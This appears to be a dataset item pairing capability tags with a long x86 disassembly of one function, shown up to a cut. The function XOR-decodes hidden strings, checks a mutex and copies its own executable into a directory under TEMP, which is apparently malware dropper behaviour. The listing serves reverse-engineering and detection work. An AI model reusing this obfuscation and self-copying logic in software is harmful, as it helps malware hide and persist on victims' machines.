Function at 0x4065f0
Capabilities:
Check mutex on windows
Copy file
Create directory
Create process on windows
Encode data using xor
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3d8
movups xmm0, xmmword [0x440720]
push esi
mov esi, dword [0x4527a8]
movups xmmword [ebp - 0x30], xmm0
push edi
psrldq xmm0, 0xf
mov edi, 5
movd eax, xmm0
lea edx, [edi + 0x1a]
test al, al
je 0x4067a5
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp esi, 2
jl 0x406772
movaps xmm0, xmmword [str.3333333333333333M]
movaps xmm4, xmmword [0x440580]
movaps xmm3, xmmword [0x440960]
movaps xmm6, xmmword [0x440950]
movd xmm7, edx
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm5, edi
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x30]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x2c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x2c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x406671
jmp 0x4067a5
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x30], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x10
jl 0x406772
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4067c0
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
push 7
push 0x440878
push 0
lea ecx, [ebp - 0x68]
call fcn.00409d70
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x40], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae eax, dword [ebp - 0x50]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x406853
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406849
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c85
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x406899
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40688f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c85
push edx
push ecx
call fcn.0042142c
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408c8a
push 0x104
lea eax, [ebp - 0x3d8]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movups xmm0, xmmword [0x440730]
movups xmmword [ebp - 0x30], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x406a54
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp esi, 2
jl 0x406a21
movaps xmm0, xmmword [str.3333333333333333M]
mov eax, 0x1f
movaps xmm4, xmmword [0x440580]
movaps xmm3, xmmword [0x440960]
movaps xmm6, xmmword [0x440950]
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm5, edi
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x30]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x2c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x2c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x406920
jmp 0x406a54
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x30], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x10
jl 0x406a21
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a70
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406aa4
sub ecx, edx
lea eax, [ebp - 0x3d8]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00401820
push 1
push 0x440888
lea ecx, [ebp - 0x50]
call fcn.00403190
lea ecx, [ebp - 0xdc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x90]
movq qword [ebp - 0x80], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406420
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x406b41
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b37
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c91
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x406b75
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b6b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c91
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x406bbb
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406bb1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c91
push edx
push ecx
call fcn.0042142c
add esp, 8
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push 0
cmovae eax, dword [ebp - 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x104
lea eax, [ebp - 0x2d0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x44074f], 0
movq xmm0, qword [0x440744]
mov eax, dword [str.DX_p]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x406d64
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp esi, 2
jl 0x406d30
movaps xmm2, xmmword [0x440580]
mov eax, 0x1f
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], ecx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x440744]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax + eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xc
jl 0x406d30
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406d88
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
mov ax, word [0x440740]
mov word [ebp - 6], ax
test ah, ah
je 0x406de7
xor ecx, ecx
mov dword [ebp - 4], ecx
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 6], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 2
jl 0x406db4
lea ecx, [ebp - 6]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406e02
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00401820
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0x50]
push eax
push 0
call fcn.00409d70
lea ecx, [ebp - 0x68]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x90]
movq qword [ebp - 0x80], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406420
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
push 0
cmovae eax, dword [ebp - 0x68]
push eax
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x406eca
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ec0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c96
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x406f13
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c96
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x406f47
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f3d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c96
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x406f93
mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f89
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c96
push edx
push ecx
call fcn.0042142c
add esp, 8
cmp byte [0x4407b3], 0
movq xmm0, qword [0x4407a8]
mov eax, dword [str.DX_]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x407104
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp esi, 2
jl 0x4070d0
movaps xmm2, xmmword [0x440580]
mov eax, 0x1f
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], ecx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4407a8]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xc
jl 0x4070d0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407122
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
mov ax, word [0x4407a4]
mov word [ebp - 6], ax
test ah, ah
je 0x407183
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 6], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 2
jl 0x407150
lea ecx, [ebp - 6]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4071a7
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401820
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0xc0]
push eax
push 0
call fcn.00409d70
lea ecx, [ebp - 0x188]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x170]
movq qword [ebp - 0x160], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406420
mov eax, dword [0x44079c]
xor ecx, ecx
mov dword [ebp - 0x1f], eax
mov ax, word [0x4407a0]
mov word [ebp - 0x1b], ax
mov al, byte [0x4407a2]
mov byte [ebp - 0x19], al
mov dword [ebp - 4], ecx
nop dword [eax + eax]
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x1f], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 7
jl 0x407250
lea ecx, [ebp - 0x1f]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4072a7
sub ecx, edx
lea eax, [ebp - 0x1f]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00401820
cmp byte [0x44079b], 0
movq xmm0, qword [0x440790]
mov eax, dword [0x440798]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x407434
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp esi, 2
jl 0x407400
movaps xmm2, xmmword [0x440580]
mov eax, 0x1f
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], ecx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x440790]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xc
jl 0x407400
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1b4], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407458
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00401820
mov ecx, 0xf
lea edi, [ebp - 0x149]
mov esi, 0x440750
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [ebp - 4], ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x4527a8]
cmp edi, 2
jl 0x4075e3
movaps xmm0, xmmword [str.3333333333333333M]
mov eax, 5
movaps xmm4, xmmword [0x440580]
movaps xmm3, xmmword [0x440960]
movaps xmm6, xmmword [0x440950]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm7, eax
nop
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x149]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x149], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x145]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x145], xmm1
add ecx, 8
cmp ecx, 0x38
jl 0x4074d0
mov dword [ebp - 4], ecx
cmp ecx, 0x3f
jge 0x40761a
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x149], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x3f
jl 0x4075e3
lea ecx, [ebp - 0x149]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407641
sub ecx, edx
lea eax, [ebp - 0x149]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0xa8]
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x30]
call fcn.00406420
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
call fcn.00406420
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.00406420
push 4
push str.___F
lea ecx, [ebp - 0x68]
call fcn.00403190
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x40770d
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407703
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x407753
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407749
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x407787
mov ecx, dword [ebp - 0x30]
inc edx
